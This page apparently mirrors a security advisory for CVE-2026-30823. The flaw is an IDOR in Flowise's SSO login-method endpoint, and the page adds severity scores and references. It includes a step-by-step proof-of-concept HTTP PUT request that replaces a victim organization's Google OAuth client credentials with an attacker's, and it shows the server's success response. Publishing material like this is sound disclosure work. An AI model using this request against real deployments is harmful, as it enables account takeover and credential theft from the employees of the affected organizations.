Advisory details:
github_osv / GHSA-cwc3-p92j-g7qm
| Advisory ID | github_osv/GHSA-cwc3-p92j-g7qm |
| Aliases |
CVE-2026-30823
|
| Summary | Flowise has IDOR leading to Account Takeover and Enterprise Feature Bypass via SSO Configuration ### Summary The Flowise platform has a critical Insecure Direct Object Reference (IDOR) vulnerability combined with a Business Logic Flaw in the PUT /api/v1/loginmethod endpoint. While the endpoint requires authentication, it fails to validate if the authenticated user has ownership or administrative rights over the target organizationId. This allows any low-privileged user (including "Free" plan users) to: 1. Overwrite the SSO configuration of any other organization. 2. Enable "Enterprise-only" features (SSO/SAML) without a license. 3. Perform Account Takeover by redirecting the authentication flow. ### Details The backend accepts the organizationId parameter from the JSON body and updates the database record corresponding to that ID. There is no middleware or logic check to ensure request.user.organizationId === body.organizationId. ### PoC Prerequisites: 1. The attacker creates a standard "Free" account and obtains a valid JWT token (Cookie/Header). 2. The attacker identifies the target organizationId (e.g., bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d). **Step-by-Step Exploitation**: The attacker sends the following PUT request to overwrite the victim's Google SSO configuration. **Request**: ```http PUT /api/v1/loginmethod HTTP/2 Host: cloud.flowiseai.com Cookie: token=<ATTACKER_JWT_TOKEN> Content-Type: application/json Accept: application/json { "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d", "userId": "6ab311fa-0d0a-4bd6-996e-4ae721377fb2", "providers": [ { "providerLabel": "Google", "providerName": "google", "config": { "clientID": "ATTACKER_MALICIOUS_CLIENT_ID", "clientSecret": "ATTACKER_MALICIOUS_SECRET" }, "status": "enable" } ] } ``` **Response**: The server responds with 200 OK, confirming the modification has been applied to the victim's organization context. ```json { "status": "OK", "organizationId": "bd2b74e0-e0cd-4bb5-ba98-3cc2ae683d5d" } ``` ### Impact - **Account Takeover**: An attacker can replace a victim organization's legitimate OAuth credentials (e.g., Google Client ID) with their own malicious application credentials. When victim employees try to log in via SSO, they are authenticated against the attacker's application, potentially allowing the attacker to hijack sessions or steal credentials. - **License Control Bypass**: Users on the "Free" tier can illicitly enable and configure SSO providers (Azure, Okta, etc.), which are features strictly restricted to the "Enterprise" plan. |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 7.9 |
| Risk | 4.0 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| System | Score | Found at |
|---|---|---|
| cvssv3 | 8.8 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-cwc3-p92j-g7qm/GHSA-cwc3-p92j-g7qm.json |
| generic_textual | HIGH |
| Reference id | Reference type | URL |
|---|---|---|
| https://github.com/FlowiseAI/Flowise | ||
| CVE-2026-30823 | https://nvd.nist.gov/vuln/detail/CVE-2026-30823 | |
| flowise%403.0.13 | Other | https://github.com/FlowiseAI/Flowise/releases/tag/flowise%403.0.13 |
| GHSA-cwc3-p92j-g7qm | Other | https://github.com/FlowiseAI/Flowise/security/advisories/GHSA-cwc3-p92j-g7qm |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-03-09T20:34:04Z/
Decision: Track*
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/30xxx/CVE-2026-30823.json
Source Advisory: vulnrichment/CVE-2026-30823
[{'Exploitation': 'poc'},
{'Automatable': 'no'},
{'Technical Impact': 'total'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]